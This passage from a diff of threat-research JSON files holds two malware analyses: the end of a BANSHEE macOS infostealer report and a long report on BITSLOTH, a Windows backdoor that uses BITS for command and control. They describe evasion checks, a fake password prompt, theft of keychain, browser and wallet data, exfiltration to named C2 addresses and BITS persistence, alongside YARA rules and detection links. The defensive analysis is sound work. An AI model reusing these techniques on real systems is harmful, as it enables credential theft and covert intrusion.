techniques to evade detection. It detects debugging by utilizing the [sysctl](https://developer.apple.com/library/archive/documentation/System/Conceptual/ManPages_iPhoneOS/man3/sysctl.3.html) API.\n\n![Debugging detection with sysctl macOS API](/assets/images/beyond-the-wail/image1.png \"Debugging detection with sysctl macOS API\")\n\nFor virtualization detection, it runs the command `system_profiler SPHardwareDataType | grep 'Model Identifier'` to determine whether the string `Virtual` appears in the hardware model identifier, which suggests a virtual machine. These methods are relatively simple and can be easily circumvented by advanced sandboxes and malware analysts.\n\n![Virtual machine check](/assets/images/beyond-the-wail/image7.png \"Virtual machine check\")\n\nAdditionally, It parses the user-preferred canonicalized language returned from the [CFLocaleCopyPreferredLanguages ](https://developer.apple.com/documentation/corefoundation/1542887-cflocalecopypreferredlanguages) API and looks for the string `ru`. This tactic helps the malware avoid infecting systems where Russian is the primary language.\n\n### System information collection\n\n#### User password\n\nThe malware creates an [Osascript](https://ss64.com/mac/osascript.html) password prompt with a dialog saying that to launch the application, you need to update the system settings. Please enter your password.\n\nWhen the user enters the password, it will be validated using the [dscl](https://ss64.com/mac/dscl.html) command by running `dscl Local/Default -authonly `\n\nIf valid, the password will be written to the following file `/Users//password-entered`.\n\n![User password phishing through a prompt](/assets/images/beyond-the-wail/image3.png \"User password phishing through a prompt\")\n\nThese credentials can be leveraged to decrypt the keychain data stored on the system, granting access to all saved passwords.\n\n#### File, software, and hardware information collection\n\nThe function `System::collectSystemInfo` collects system information and serializes it in a JSON object. It executes the command `system_profiler SPSoftware DataType SPHardwareDataType`, which provides details about the system’s software and hardware. It gets the machine's public IP by requesting it from `freeipapi.com` through the built-in macOS `cURL` command.\n\nThe JSON file will be saved under `/system_info.json`\n\nBANSHEE stealer executes AppleScripts; interestingly, it writes the AppleScripts to the same file `/tmp/tempAppleScript`.\n\nThe first script to be executed first mutes the system sound with `osascript -e 'set volume with output muted'` command. It then collects various files from the system, which are listed below:\n\n* Safari cookies\n* Notes database\n* Files with the following extensions `.txt`, `.docx`, `.rtf`, `.doc`, `.wallet`, `.keys`, or `.key` from the Desktop and Documents folders.\n\n#### Dump keychain passwords\n\nIt copies the keychain of the system `/Library/Keychains/login.keychain-db` to `/Passwords`\n\n### Browser collection\n\nBANSHEE collects data from 9 different browsers currently, including browser history, cookies, logins, etc:\n\n* Chrome\n* Firefox\n* Brave\n* Edge\n* Vivaldi\n* Yandex\n* Opera\n* OperaGX\n\nRegarding Safari, only the cookies are collected by the AppleScript script for the current version.\n\n![Web browser file collection](/assets/images/beyond-the-wail/image4.png \"Web browser file collection\")\n\nAdditionally, data from approximately 100 browser plugins are collected from the machine. A list of these extension IDs is provided at the end of the blog post.\n\nThe collected files are saved under `/Browsers`.\n\n### Wallet collection\n\n* Exodus\n* Electrum\n* Coinomi\n* Guarda\n* Wasabi Wallet\n* Atomic\n* Ledger\n\nThe collected wallets are stored under `/Wallets`.\n\n### Exfiltration\n\nAfter the malware finishes collecting data, it first ZIP compresses the temporary folder using the `ditto` command. The zip file is then XOR encrypted and base64 encoded and sent through a post request to the URL: `http://45.142.122[.]92/send/` with the built-in cURL command.\n\n![Xor and base64 encoding of the zip file to be exfiltrated](/assets/images/beyond-the-wail/image6.png \"Xor and base64 encoding of the zip file to be exfiltrated\")\n\n## Behavior detection\n\n* [Crypto Wallet File Access by Unsigned or Untrusted Binary](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/macos/credential_access_crypto_wallet_file_access_by_unsigned_or_untrusted_binary.toml)\n* [Web Browser Credential Data Accessed by Unsigned or Untrusted Process](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/macos/credential_access_web_browser_credential_data_accessed_by_unsigned_or_untrusted_process.toml)\n* [Osascript Payload Drop and Execute](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/macos/command_and_control_osascript_payload_drop_and_execute.toml)\n* [Potential Credentials Phishing via Osascript](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/macos/credential_access_potential_credentials_phishing_via_osascript.toml)\n\n## YARA rule\n\nElastic Security has created YARA rules to identify this activity. Below are YARA rules to identify the BANSHEE malware:\n\n```\nrule Macos_Infostealer_Banshee {\n meta:\n author = \"Elastic Security\"\n creation_date = \"2024-08-13\"\n last_modified = \"2024-08-13\"\n os = \"MacOS\"\n arch = \"x86, arm64\"\n category_type = \"Infostealer\"\n family = \"Banshee\"\n threat_name = \"Macos.Infostealer.Banshee\"\n license = \"Elastic License v2\"\n\n strings:\n $str_0 = \"No debugging, VM, or Russian language detected.\" ascii fullword\n $str_1 = \"Remote IP: \" ascii fullword\n $str_2 = \"Russian language detected!\" ascii fullword\n $str_3 = \" is empty or does not exist, skipping.\" ascii fullword\n $str_4 = \"Data posted successfully\" ascii fullword\n $binary_0 = { 8B 55 BC 0F BE 08 31 D1 88 08 48 8B 45 D8 48 83 C0 01 48 89 45 D8 E9 }\n $binary_1 = { 48 83 EC 60 48 89 7D C8 48 89 F8 48 89 45 D0 48 89 7D F8 48 89 75 F0 48 89 55 E8 C6 45 E7 00 }\n condition:\n all of ($str_*) or all of ($binary_*)\n}\n```\n\n## Conclusion\n\nBANSHEE Stealer is macOS-based malware that can collect extensive data from the system, browsers, cryptocurrency wallets, and numerous browser extensions. Despite its potentially dangerous capabilities, the malware's lack of sophisticated obfuscation and the presence of debug information make it easier for analysts to dissect and understand. While BANSHEE Stealer is not overly complex in its design, its focus on macOS systems and the breadth of data it collects make it a significant threat that demands attention from the cybersecurity community.\n\n## Observables\n\nAll observables are also available for [download](https://github.com/elastic/labs-releases/tree/main/indicators/banshee) in both ECS and STIX format in a combined zip bundle.\n\nThe following observables were discussed in this research.\n\n| Observable | Type | Name | Reference |\n|------------------------------------------------------------------|-----------|-----------------|--------------------|\n| 11aa6eeca2547fcf807129787bec0d576de1a29b56945c5a8fb16ed8bf68f782 | SHA-256 | BANSHEE stealer | |\n| 45.142.122[.]92 | ipv4-addr | | BANSHEE stealer C2 |" + }, + "title": "Beyond the wail: deconstructing the BANSHEE infostealer", + "slug": "beyond-the-wail", + "date": "2024-08-15", + "description": "The BANSHEE malware is a macOS-based infostealer that targets system information, browser data, and cryptocurrency wallets.", + "author": [ + { + "slug": "elastic-security-labs" + } + ], + "image": "beyond-the-wail.jpg", + "category": [ + { + "slug": "malware-analysis" + } + ], + "tags": [ + "macos", + "infostealer", + "BANSHEE" + ] + }, + "id": "security_labs_content-beyond_the_wail-md", + "type": "security_labs_content" +} diff --git a/packages/security_labs_content/kibana/security_labs_content/security_labs_content-bits_and_bytes_analyzing_bitsloth-md.json b/packages/security_labs_content/kibana/security_labs_content/security_labs_content-bits_and_bytes_analyzing_bitsloth-md.json new file mode 100644 index 00000000000..c62466ec795 --- /dev/null +++ b/packages/security_labs_content/kibana/security_labs_content/security_labs_content-bits_and_bytes_analyzing_bitsloth-md.json @@ -0,0 +1,27 @@ +{ + "attributes": { + "raw": { + "document": "---\ntitle: \"BITS and Bytes: Analyzing BITSLOTH, a newly identified backdoor\"\nslug: \"bits-and-bytes-analyzing-bitsloth\"\ndate: \"2024-08-01\"\ndescription: \"Elastic Security Labs identified a novel Windows backdoor leveraging the Background Intelligent Transfer Service (BITS) for C2. This malware was found during a recent activity group tracked as REF8747.\"\nauthor:\n - slug: seth-goodwin\n - slug: daniel-stepanic\nimage: \"Security Labs Images 29.jpg\"\ncategory:\n - slug: malware-analysis\n---\n\n## BITSLOTH at a glance\n\nBITSLOTH is a newly discovered Windows backdoor that leverages the Background Intelligent Transfer Service (BITS) as its command-and-control mechanism. BITSLOTH was uncovered during an intrusion within the LATAM region earlier this summer. This malware hasn't been publicly documented to our knowledge and while it’s not clear who’s behind the malware, it has been in development for several years based on tracking distinct versions uploaded to VirusTotal.\n\nThe most current iteration of the backdoor at the time of this publication has 35 handler functions including keylogging and screen capture capabilities. In addition, BITSLOTH contains many different features for discovery, enumeration, and command-line execution. Based on these capabilities, we assess this tool is designed for gathering data from victims.\n\n### Key takeaways\n\n - BITSLOTH is a newly discovered Windows backdoor\n - BITSLOTH uses a built-in Microsoft feature, Background Intelligent Transfer Service (BITS) for command-and-control communication \n - BITSLOTH has numerous command handlers used for discovery/enumeration, execution, and collection purposes\n - The backdoor contains logging functions and strings consistent with the authors being native Chinese speakers\n\n## Discovery\n\nOur team observed BITSLOTH installed on a server environment on June 25th during REF8747, this was an intrusion into the Foreign Ministry of a South American government. The intrusion was traced back to PSEXEC execution on one of the infected endpoints. The attackers used a slew of publicly available tools for most of their operations with the exception of BITSLOTH.\n\n - [RINGQ](https://github.com/T4y1oR/RingQ)\n - [IOX](https://github.com/EddieIvan01/iox)\n - [STOWAWAY](https://github.com/ph4ntonn/Stowaway)\n - [GODPOTATO](https://github.com/BeichenDream/GodPotato)\n - [NOPAC](https://github.com/Ridter/noPac)\n - [MIMIKATZ](https://github.com/gentilkiwi/mimikatz)\n - [PPLFAULT](https://github.com/gabriellandau/PPLFault)\n - [CERTIFY](https://github.com/GhostPack/Certify)\n\nOne of the primary mechanisms of execution was through a shellcode loading project called RINGQ. In a similar fashion to DONUTLOADER, RINGQ will convert any Windows executable and generate custom shellcode placing it into a file ( main.txt). This shellcode gets decrypted and executed in-memory. This technique is used bypass defenses that rely on hash blocklists or static signatures in some anti-malware products.\n\n![Screenshot of RingQ demo](/assets/images/bits-and-bytes-analyzing-bitsloth/image21.png)\n\nWe observed RINGQ being used to load the IOX port forwarder. Note: The key in the image below is the hex conversion of “whoami”.\n\n![RINGQ loading and executing IOX](/assets/images/bits-and-bytes-analyzing-bitsloth/image13.png)\n\nAdditionally the attackers used the STOWAWAY utility to proxy encrypted traffic over HTTP to their C2 servers. Proxy tools, tunnelers, and redirectors are commonly used during intrusions to conceal the adversary responsible for an intrusion. These tools offer adversaries various features, including the ability to bypass internal network controls, provide terminal interfaces, encryption capabilities as well as file transfer options.\n\n![STOWAWAY proxy usage](/assets/images/bits-and-bytes-analyzing-bitsloth/image19.png)\n\nAfter initial access, the actor moved laterally and dropped BITSLOTH in the form of a DLL (```flengine.dll```) inside the ProgramData directory. The actor then executed the music-making program FL Studio (```fl.exe```). Based on the observed call stack associated with the self-injection alert, we confirmed the threat actor used a traditional side-loading technique using a signed version of [FL Studio](https://www.virustotal.com/gui/file/75747c8b5b3676abde25a8dd66280908c0d0fc57ef054b88a41673619d3bee28/details). \n\n```\n c:\\windows\\syswow64\\ntdll.dll!0x770841AC\n c:\\windows\\syswow64\\ntdll.dll!0x7709D287\n c:\\windows\\syswow64\\kernelbase.dll!0x76ED435F\n c:\\windows\\syswow64\\kernelbase.dll!0x76ED42EF\n Unbacked!0x14EAB23\n Unbacked!0x14EA8B6\n c:\\programdata\\pl studio\\flengine.dll!0x74AD2F2E\n c:\\programdata\\pl studio\\fl.exe!0xDB3985\n c:\\programdata\\pl studio\\fl.exe!0xDB3E5E\n c:\\programdata\\pl studio\\fl.exe!0xDB4D3F\n c:\\windows\\syswow64\\kernel32.dll!0x76B267F9\n c:\\windows\\syswow64\\ntdll.dll!0x77077F4D\n c:\\windows\\syswow64\\ntdll.dll!0x77077F1B\n```\n\nThis call stack was generated along with a process injection alert, and enabled researchers to extract an in-memory DLL that was set with Read/Write/Execute(RWX) page protections.\n\n#### BITSLOTH overview\n\nDuring our analysis, we found several older BITSLOTH samples demonstrating a record of development since December 2021. Within this project, the malware developer chose notable terminology– referring to BITSLOTH as the ```Slaver``` component and the command and control server as the ```Master``` component. Below is an example of one of the PDB file paths linked to BITSLOTH that depicts this:\n\n![PDB linked to BITSLOTH sample](/assets/images/bits-and-bytes-analyzing-bitsloth/image7.png)\n\nBITSLOTH employs no obfuscation around control flow or any kind of string encryption.\n\n![BITSLOTH strings](/assets/images/bits-and-bytes-analyzing-bitsloth/image9.png)\n\nBoth older and recent samples contain strings used for logging and debugging purposes. As an example at startup, there is a string referenced in the read-only section (```.rdata```). \n\n![Debugging](/assets/images/bits-and-bytes-analyzing-bitsloth/image24.png) \n\nThis Simplified Chinese wide-character string translates to:\n```Note: There is already a program running, do not run it again…```\n\n![String left by developer](/assets/images/bits-and-bytes-analyzing-bitsloth/image29.png)\n\nThese small snippets contained within BITSLOTH help shed light on the development and prioritization of features, along with what appear to be operator instructions. In the latest version, a new scheduling component was added by the developer to control specific times when BITSLOTH should operate in a victim environment. This is a feature we have observed in other modern malware families such as [EAGERBEE](https://www.elastic.co/security-labs/introducing-the-ref5961-intrusion-set).\n\n![BITSLOTH scheduling component](/assets/images/bits-and-bytes-analyzing-bitsloth/image27.png)\n\n## BITSLOTH code analysis\n\nBITSLOTH is a backdoor with many different capabilities including:\n\n - Running and executing commands\n - Uploading and downloading files\n - Performing enumeration and discovery \n - Collecting sensitive data through keylogging and screen capturing\n\n### Mutex\n\nBITSLOTH uses a hard-coded mutex (```Global\\d5ffff77ff77adad657658```) within each sample to ensure only one instance is running at a time. \n\n![Mutex used by BITSLOTH](/assets/images/bits-and-bytes-analyzing-bitsloth/image6.png)\n\n### Communication\n\nBITSLOTH adopts a traditional client/server architecture, the developer refers to the client as the ```Slaver``` component and the command and control server (C2) as the ```Master``` component. The developer embeds the IP/port of the C2 server in each sample with a front-loaded string (```rrrr_url```). This string acts as a key to identify the C2 configuration in itself while running in memory, this is used when updating the C2 server.\n\nBelow are the configurations in several samples our team has observed, the threat actor configures both internal and external IP ranges.\n\n```\nrrrr_url216.238.121[.]132:8443\nrrrr_url192.168.1[.]125:8443 \nrrrr_url192.168.1[.]124:8443\nrrrr_url45.116.13[.]178:443\n```\n\nOne of the defining features of BITSLOTH is using the [Background Intelligent Transfer Service](https://learn.microsoft.com/en-us/windows/win32/bits/background-intelligent-transfer-service-portal) (BITS) for C2. While this feature has been designed to facilitate the network transfer of files between two machines, it’s been [abused](https://www.welivesecurity.com/2019/09/09/backdoor-stealth-falcon-group/) by multiple state-sponsored groups and continues to fly under the radar against organizations. This medium is appealing to adversaries because many organizations still struggle to monitor BITS network traffic and detect unusual BITS jobs.\n\n> Windows has a system administration feature called Background Intelligent Transfer Service (BITS) enabling the download and upload of files to HTTP web servers or SMB shares. The BITS service employs multiple features during the file transfer process such as the ability to pause/resume transfers, handling network interruptions, etc. BITS traffic is usually associated with software updates therefore wrongfully implied as trusted. Many organizations lack visibility into BITS network traffic making this an appealing target.\n\nThe BITS API is exposed through Window’s [Component Object Model](https://learn.microsoft.com/en-us/windows/win32/com/component-object-model--com--portal) (COM) using the **IBackgroundCopyManager** [interface](https://learn.microsoft.com/en-us/windows/win32/api/bits/nn-bits-ibackgroundcopymanager). This interface provides capabilities to create new jobs, enumerate existing jobs in the transfer queue, and access a specific job from a transfer queue.\n\n![Initializing IBackgroundCopyManager interface](/assets/images/bits-and-bytes-analyzing-bitsloth/image12.png)\n\nAfter initialization, BITSLOTH cancels any existing BITS jobs on the victim machine that match the following display names:\n\n - ```WU Client Download```\n - ```WU Client Upload```\n - ```WU Client Upload R```\n\nThese names are used by the developer to blend in and associate the different BITS transfer jobs with their respective BITS [job type](https://learn.microsoft.com/en-us/windows/win32/api/bits/ne-bits-bg_job_type). By canceling any existing jobs, this allows the execution of the malware to operate from a clean state.\n\n![Switch statement inside BITSLOTH to process BITS job](/assets/images/bits-and-bytes-analyzing-bitsloth/image17.png)\n\nBelow are the Microsoft definitions matching the type of BITS job:\n\n - **BG_JOB_TYPE_DOWNLOAD** - Specifies that the job downloads files to the client.\n - **BG_JOB_TYPE_UPLOAD** - Specifies that the job uploads a file to the server.\n - **BG_JOB_TYPE_UPLOAD_REPLY** - Specifies that the job uploads a file to the server, and receives a reply file from the server application.\n\nAfter canceling any existing jobs, the MAC address and operating system information are retrieved and placed into global variables. A new thread gets created, configuring the auto-start functionality. Within this thread, a new BITS download job is created with the name (```Microsoft Windows```).\n\n![BITS job creation for auto-start functionality](/assets/images/bits-and-bytes-analyzing-bitsloth/image18.png)\n\nThis download job sets the destination URL to ```http://updater.microsoft[.]com/index.aspx```. While this domain is not routable, BITSLOTH masquerades this BITS job using a benign looking domain as a cover then uses **SetNotifyCmdLine** to execute the malware when the transfer state is changed.\n\n![Setting up BITS persistence via SetNotifyCmdLine](/assets/images/bits-and-bytes-analyzing-bitsloth/image28.png)\n\nInterestingly, this unique toolmark allowed us to pivot to additional samples showing this family has been in circulation for several years. \n \n![VirusTotal relationships from embedded Microsoft URL](/assets/images/bits-and-bytes-analyzing-bitsloth/image4.png)\n\nAt this point, the malware has now been configured with persistence via a BITS job named ```Microsoft Windows```. Below is a screenshot of this job’s configuration showing the notification command line set to the BITSLOTH location (```C:\\ProgramData\\Media\\setup_wm.exe```)\n\n![BITSLOTH persistence job](/assets/images/bits-and-bytes-analyzing-bitsloth/image33.png)\n\nOnce BITSLOTH becomes active, it will start requesting instructions from the C2 server using the ```WU Client Download``` job. This request URL is generated by combining the MAC address with a hard-coded string (```wu.htm```). Below is an example URL:\n\n```\nhttps://192.168.182.130/00-0C-29-0E-29-87/wu.htm\n```\n\nIn response to this request, the malware will then receive a 12-byte structure from the C2 server containing a unique ID for the job, command ID for the handler, and a response token. Throughout these exchanges of file transfers, temporary files from the victim machine are used as placeholders to hold the data being transmitted back and forth, BITSLOTH uses a filename starting with characters (```wm```) appended by random characters.\n\n\n![Data exchange through temporary files](/assets/images/bits-and-bytes-analyzing-bitsloth/image25.png)\n\n### Command functionality\n\nBITSLOTH uses a command handler with 35 functions to process specific actions that should be taken on the victim machine. The malware has the option to be configured with HTTP or HTTPS and uses a hardcoded single byte XOR (```0x2```) to obfuscate the incoming instructions from the C2 server. The outbound requests containing the collected victim data have no additional protections by the malware itself and are sent in plaintext. \n\nIn order to move fast, our team leveraged a helpful Python [implementation](https://github.com/SafeBreach-Labs/SimpleBITSServer) of a BITS server released by [SafeBreach Labs](https://www.safebreach.com/). By setting the C2 IP to our loopback address inside a VM, this allowed us to get introspection on the network traffic. \n\n![BITSLOTH command handler](/assets/images/bits-and-bytes-analyzing-bitsloth/image2.png)\n\nThe handlers all behave in a similar approach performing a primary function then writing the data returned from the handler to a local temporary file. These temporary files then get mapped to a BITS upload job called ```WU Client Upload```. Each handler uses its own string formatting to create a unique destination URL. Each filename at the end of the URL uses a single letter to represent the type of data collected from the host, such as ```P.bin``` for processes or ```S.bin``` for services.\n\n```\nhttp://192.168.182.130/00-0C-29-0E-29-87/IF/P.bin\n```\n\nBelow is an example screenshot showing the process enumeration handler with the string formatting and how this data is then linked to the BITS upload job.\n\n![BITSLOTH handler for running processes](/assets/images/bits-and-bytes-analyzing-bitsloth/image31.png)\n\nThis link to the exfiltrated data can also be observed by viewing the BITS upload job directly. In the screenshots below, we can see the destination URL (C2 server) for the upload and the temporary file (```wm9F0C.tmp```) linked to the job.\n\n![BITS upload job configuration](/assets/images/bits-and-bytes-analyzing-bitsloth/image15.png)\n\nIf we look at the temporary file, we can see the collected process information from the victim host.\n\n![Contents of temporary file holding exfiltrated data](/assets/images/bits-and-bytes-analyzing-bitsloth/image26.png)\n\nSoon after the upload job is created, the data is sent over the network through a BITS_POST request containing the captured data.\n\n![Outbound BITS_POST request](/assets/images/bits-and-bytes-analyzing-bitsloth/image22.png)\n\n### Command handling table\n\n| Command ID | Description |\n| ----- | ----- |\n| 0 | Collect running processes via **WTSEnumerateProcessesW** |\n| 1 | Get Windows services via **EnumServicesStatusW** |\n| 2 | Get system information via ```systeminfo``` command |\n| 3 | Retrieve all top-level Windows via **EnumWindows** |\n| 5 | Collect file listings |\n| 6 | Download file from C2 server |\n| 7 | Upload file to C2 server |\n| 10 | Terminate itself |\n| 11 | Set communication mode to HTTPS |\n| 12 | Set communication mode to HTTP |\n| 13 | Remove persistence |\n| 14 | Reconfigure persistence |\n| 15 | Cancel BITS download job (```WU Client Download```) |\n| 16 | Remove persistence and delete itself |\n| 17 | Thread configuration |\n| 18 | Duplicate of handler #2 |\n| 19 | Delete file based on file path |\n| 20 | Delete folder based on file path |\n| 21 | Starts terminal shell using stdin/stdout redirection |\n| 22 | Resets terminal handler (#21) |\n| 23 | Runs Windows tree command |\n| 24 | Updates BITSLOTH, delete old version |\n| 25 | Shutdown the machine via **ExitWindowsEx** |\n| 26 | Reboot the machine via **ExitWindowsEx** |\n| 27 | Log user off from the machine via **ExitWindowsEx** |\n| 28 | Terminate process based on process identifier (PID) |\n| 29 | Retrieves additional information via ```msinfo32``` command |\n| 30 | Execute individual file via **ShellExecuteW** |\n| 34 | Create new directory via **CreateDirectoryW** |\n| 41 | Upload data to C2 server | \n| 42 | Checks for capture driver via **capGetDriverDescriptionW** |\n| 43 | Take screenshots of victim machine desktop |\n| 44 | Record keystrokes from victim machine |\n| 45 | Stop recording screenshot images |\n| 46 | Stop keylogger functionality |\n\n### Backdoor functionality\n\nBITSLOTH includes a wide range of post-compromise capabilities for an adversary to operate within a victim environment. We will focus on the more significant capabilities by grouping them into different categories.\n\n#### Discovery/enumeration\n\nA portion of the BITSLOTH handlers are focused on retrieving and enumerating data from victim machines. This includes:\n\n - Retrieving process information via **WTSEnumerateProcessesW**\n - Collecting Windows services via **EnumServicesStatusW**\n - Enumerating all top-level Windows via **EnumWindows** with a callback function\n - Retrieving system information via windows utilities such as ```systeminfo``` and ```msinfo32```\n\n![BITSLOTH handler used to collect system information](/assets/images/bits-and-bytes-analyzing-bitsloth/image14.png)\n\nIn many of the handlers, the locale version is configured to ```chs ```(Chinese - Simplified).\n\n![Retrieve Windows information](/assets/images/bits-and-bytes-analyzing-bitsloth/image16.png)\n\nBITSLOTH has a couple custom enumeration functions tied to retrieving file listings and performing directory tree searches. The file listing handler takes a custom parameter from the operator to target specific folder locations of interest:\n\n - **GET_DESKDOP** → **CSIDL_DESKTOPDIRECTORY** (Desktop)\n - **GET_BITBUCKET** -> **CSIDL_BITBUCKET** (Recycle Bin)\n - **GET_PERSONAl** -> **CSIDL_MYDOCUMENTS** (My Documents)\n\n![File listing parameters via BITSLOTH](/assets/images/bits-and-bytes-analyzing-bitsloth/image10.png)\n\nBITSLOTH also has the ability to collect entire directory/file listings on the machine for every file by using the Windows [tree](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/tree) utility. This handler loops across the alphabet for each drive letter where the data is then saved locally in a temporary file named ```aghzyxklg```. \n\n![Tree listing via BITSLOTH](/assets/images/bits-and-bytes-analyzing-bitsloth/image1.png)\n\nThe tree data is then compressed and sent to the C2 server with a .ZIP extension. Below is an example of the collected data. This data can help pinpoint sensitive files or provide more context about the target environment. \n\n![Example of data collected through **GetDirectoryTree** handler](/assets/images/bits-and-bytes-analyzing-bitsloth/image5.png)\n\n#### Collection\n\nIn terms of collection, there are a few handlers used for actively gathering information. These are centered around capturing screenshots from the desktop and performing keylogging functionality.\n\nBITSLOTH implements a lightweight function used to identify capture recording devices, this appears to be a technique to check for a camera using the Windows API (**capGetDriverDescriptionW**). \n\n![Handler that records capture devices](/assets/images/bits-and-bytes-analyzing-bitsloth/image30.png)\n\nBITSLOTH has the ability to take screenshots based on parameters provided by the operator. Input to this function uses a separator (```||```) where the operator provides the number of seconds of the capture interval and the capture count. The images are stored as BMP files with a hard coded name ```ciakfjoab``` and compressed with the DEFLATE algorithm using a ```.ZIP``` archive. These timestamped zipped archives are then sent out to the C2 server.\n\nThe handler leverages common screenshot APIs such as **CreateCompatibleBitmap** and **BitBlt** from ```Gdi32.dll```.\n\n![BITSLOTH screen capture using Windows APIs](/assets/images/bits-and-bytes-analyzing-bitsloth/image32.png)\n\nFor recording keystrokes, BITSLOTH uses traditional techniques by monitoring key presses using **GetAsyncKeyState**/**GetKeyState**. The handler has an argument for the number of seconds to perform the keylogging. This data is also compressed in a ```.ZIP``` file and sent outbound to the C2 server.\n\n![Keylogger functionality inside BITSLOTH](/assets/images/bits-and-bytes-analyzing-bitsloth/image8.png)\n\n#### Execution / Maintenance\n\nBITSLOTH has multiple capabilities around maintenace and file execution as well as standard backdoor functionalities such as:\n\n - Capability to execute files stand-alone via **ShellExecuteW**\n - Windows terminal capability to execute commands and read data back via pipes\n - Create directories, perform reboots, shutdown the machine, terminate processes\n - Perform file upload and download between C2 server\n - Modify BITSLOTH configuration such as communication modes, update C2 URL, turn off keylogging/screenshot features\n\n![BITSLOTH’s CMD terminal](/assets/images/bits-and-bytes-analyzing-bitsloth/image11.png)\n\n## BITSLOTH pivots\n\nBITSLOTH appears to be actively deployed. We identified another BITSLOTH C2 server (```15.235.132[.]67```) using the same port (```8443```) with the same [SSL certificate](https://www.shodan.io/search?query=ssl.cert.serial%3A253c1c0bbf58e1f509fc4468de462ed8872f81d9) used from our intrusion. \n\n![Shodan SSL certificate matches](/assets/images/bits-and-bytes-analyzing-bitsloth/image20.png)\n\nWhile it’s not exactly clear who’s behind BITSLOTH, there was a large amount of activity of VirusTotal uploads occurring on December 12, 2021. With around 67 uploads over 24 hours from one submitter (```1fcc35ea```), we suspect someone linked to this project was validating detections, making modifications, and uploading different versions of BITSLOTH to VirusTotal. One sample was packed with VMProtect, others stripped of functionality, some uploads were debug builds, etc.\n\n![BITSLOTH - VirusTotal Submitter (```1fcc35ea```)](/assets/images/bits-and-bytes-analyzing-bitsloth/image23.png)\n\nA lot of time has passed since then, but it is interesting seeing this family show up in a recent intrusion. Whatever the objective behind this malware, it's surprising that this family remained under the radar for so many years.\n\n![Different PDB paths from BITSLOTH uploads](/assets/images/bits-and-bytes-analyzing-bitsloth/image3.png)\n\n### REF 8747 through MITRE ATT&CK\n\nElastic uses the [MITRE ATT&CK](https://attack.mitre.org/) framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.\n\n[h4] Tactics\nTactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.\n\n - [Collection](https://attack.mitre.org/tactics/TA0009/)\n - [Command and Control](https://attack.mitre.org/tactics/TA0011/)\n - [Discovery](https://attack.mitre.org/tactics/TA0007/)\n - [Execution](https://attack.mitre.org/tactics/TA0002/)\n - [Exfiltration](https://attack.mitre.org/tactics/TA0010/)\n - [Persistence](https://attack.mitre.org/tactics/TA0003/)\n \n#### Techniques\n\nTechniques represent how an adversary achieves a tactical goal by performing an action.\n\n - [BITS Jobs](https://attack.mitre.org/techniques/T1197/)\n - [System Information Discovery](https://attack.mitre.org/techniques/T1082/)\n - [Hijack Execution Flow: DLL Side-Loading](https://attack.mitre.org/techniques/T1574/002/)\n - [Screen Capture](https://attack.mitre.org/techniques/T1113/)\n - [Input Capture: Keylogging](https://attack.mitre.org/techniques/T1056/001/)\n - [Proxy](https://attack.mitre.org/techniques/T1090/)\n\n## Detecting REF8747\n\n### Detection\n\nThe following detection rules and behavior prevention events were observed throughout the analysis of this intrusion set:\n\n - [Persistence via BITS Job Notify Cmdline](https://github.com/elastic/endpoint-rules/blob/0f01f1a9e2ac08e9ead74cafd4d73cb8166f9fc8/rules/windows/persistence_execution_via_bits_setnotifycmdline_method.toml)\n - [LSASS Access Attempt via PPL Bypass](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/credential_access_lsass_access_attempt_via_ppl_bypass.toml)\n - [LSASS Access Attempt from an Unsigned Executable](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/credential_access_lsass_access_attempt_from_an_unsigned_executable.toml)\n - [Suspicious Parent-Child Relationship](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_suspicious_parent_child_relationship.toml)\n - [Credential Access via Known Utilities](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/credential_access_credential_access_via_known_utilities.toml)\n - Shellcode Injection\n\n#### YARA Signatures\n\n - [Windows.Hacktool.Mimikatz](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Hacktool_Mimikatz.yar)\n - [Windows.Trojan.BITSloth](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_BITSloth.yar)\n - [Windows.Hacktool.Iox](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Hacktool_Iox.yar)\n - [Windows.Hacktool.Rubeus](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Hacktool_Rubeus.yar)\n - [Windows.Hacktool.Certify](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Hacktool_Certify.yar)\n - [Windows.Hacktool.RingQ](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Hacktool_RingQ.yar)\n - [Windows.Hacktool.GodPotato](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Hacktool_GodPotato.yar)\n - [Multi.Hacktool.Stowaway](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Multi_Hacktool_Stowaway.yar)\n\n#### YARA\n\nElastic Security has created YARA rules to identify this activity. Below are YARA rules to identify BITSLOTH:\n\n```\nrule Windows_Trojan_BITSLOTH_05fc3a0a {\n meta:\n author = \"Elastic Security\"\n creation_date = \"2024-07-16\"\n last_modified = \"2024-07-18\"\n os = \"Windows\"\n arch = \"x86\"\n threat_name = \"Windows.Trojan.BITSLOTH\"\n \t license = \"Elastic License v2\"\n\n strings:\n $str_1 = \"/%s/index.htm?RspID=%d\" wide fullword\n $str_2 = \"/%s/%08x.rpl\" wide fullword\n $str_3 = \"/%s/wu.htm\" wide fullword\n $str_4 = \"GET_DESKDOP\" wide fullword\n $str_5 = \"http://updater.microsoft.com/index.aspx\" wide fullword\n $str_6 = \"[U] update error...\" wide fullword\n $str_7 = \"RMC_KERNEL ...\" wide fullword\n $seq_global_protocol_check = { 81 3D ?? ?? ?? ?? F9 03 00 00 B9 AC 0F 00 00 0F 46 C1 }\n $seq_exit_windows = { 59 85 C0 0F 84 ?? ?? ?? ?? E9 ?? ?? ?? ?? 6A 02 EB ?? 56 EB }\n condition:\n 2 of them\n}\n```\n\n## Observations\n\nAll observables are also available for [download](https://github.com/elastic/labs-releases/tree/main/indicators/bitsloth) in both ECS 